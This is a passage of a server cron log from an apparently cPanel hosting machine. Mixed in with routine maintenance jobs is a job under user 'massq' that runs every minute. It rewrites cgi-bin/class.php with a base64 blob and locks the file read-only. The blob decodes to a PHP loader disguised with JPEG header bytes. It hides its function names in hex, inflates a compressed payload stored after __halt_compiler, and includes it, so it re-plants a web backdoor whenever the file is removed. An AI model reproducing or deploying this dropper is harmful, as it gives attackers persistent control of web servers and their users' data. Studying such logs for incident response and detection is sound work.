6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:12:01 server CROND[23332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:12:01 server CROND[23333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:13:01 server CROND[23714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:13:01 server CROND[23715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:13:01 server CROND[23716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:14:01 server CROND[24207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:14:01 server CROND[24208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:14:01 server CROND[24209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:15:01 server CROND[24606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:15:01 server CROND[24607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:15:01 server CROND[24608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:15:01 server CROND[24611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:15:01 server CROND[24610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:15:01 server CROND[24613]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:15:01 server CROND[24612]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 05:15:01 server CROND[24614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:16:02 server CROND[25486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:16:02 server CROND[25487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:16:02 server CROND[25488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:17:01 server CROND[25871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:17:01 server CROND[25872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:17:01 server CROND[25873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:18:01 server CROND[26300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:18:01 server CROND[26301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:18:01 server CROND[26302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:19:01 server CROND[26681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:19:01 server CROND[26682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:19:01 server CROND[26683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:20:01 server CROND[27163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:20:01 server CROND[27165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:20:01 server CROND[27167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:20:01 server CROND[27169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:20:01 server CROND[27173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:20:01 server CROND[27168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:20:01 server CROND[27172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:20:01 server CROND[27171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:20:01 server CROND[27166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:21:01 server CROND[28021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:21:01 server CROND[28023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:21:01 server CROND[28022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:22:01 server CROND[28410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:22:01 server CROND[28411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:22:01 server CROND[28412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:23:01 server CROND[28794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:23:01 server CROND[28795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:23:01 server CROND[28796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:24:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:24:01 server CROND[29171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:24:01 server CROND[29173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
